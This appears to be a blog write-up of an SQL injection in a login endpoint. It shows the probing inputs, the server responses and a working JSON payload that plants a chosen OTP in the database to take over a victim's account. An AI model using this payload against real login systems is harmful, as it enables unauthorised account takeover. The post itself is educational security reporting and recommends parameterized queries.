SQL Injection Exploit: A Journey to Account Takeover

How I Discovered an SQL Injection Vulnerability

?? Disclaimer: This post is for educational purposes only. Exploiting security vulnerabilities without permission is illegal and unethical. Always report any vulnerabilities to the respective organization or company. ??

---

### ?? Background

In the world of cybersecurity, understanding and identifying vulnerabilities is crucial. Recently, I came across an interesting case of SQL Injection that allowed me to manually take over an account. Here’s a step-by-step breakdown of how it was done:

### ?? Step-by-Step Process

#### 1. Initial Discovery

I started by attempting to log in using a mobile number:

- Input: {"mobile_number":"8888888888"}

- Response: 200 OK

Next, I tested for potential SQL injection:

- Input: {"mobile_number":"8888888888'"}

- Response: 500 Internal Server Error

This indicated a syntax error in the SQL query, confirming the presence of an injection point. To dig deeper:

- Input: {"mobile_number":"8888888888''"}

- Response: 200 OK

This response confirmed that the application was vulnerable to SQL injection.

#### 2. Crafting the Exploit

To exploit this vulnerability, I crafted a payload to manipulate the SQL query. The goal was to insert a new OTP (One-Time Password) for the victim’s mobile number.

- Final Payload:

```json

{"mobile_number":"8888888888','1111','2024-04-03 21:20:55',1,'2024-04-03 21:20:55') --"}

```

This payload included:

- 8888888888 as the mobile number

- 1111 as the OTP

- 2024-04-03 21:20:55 as the exact timestamp

- 1 as the number of attempts

When sent, the server processed this input and returned:

- Response: 200 OK

#### 3. Account Takeover

With the new OTP inserted into the database, I proceeded to log in using:

- Mobile Number: 8888888888

- OTP: 1111

### ?? Outcome

Successfully logging in with the above credentials granted me access to the victim’s account.

### ?? Conclusion

This exploit highlights the critical importance of securing applications against SQL injection attacks. Developers should always use prepared statements and parameterized queries to mitigate such risks.

Remember, ethical hacking is about making the digital world safer. Always report vulnerabilities through the proper channels and help improve security for everyone.

---

### ?? Call to Action

If you're passionate about cybersecurity, consider joining communities and forums to learn, share, and grow together. Let’s make the internet a safer place!

---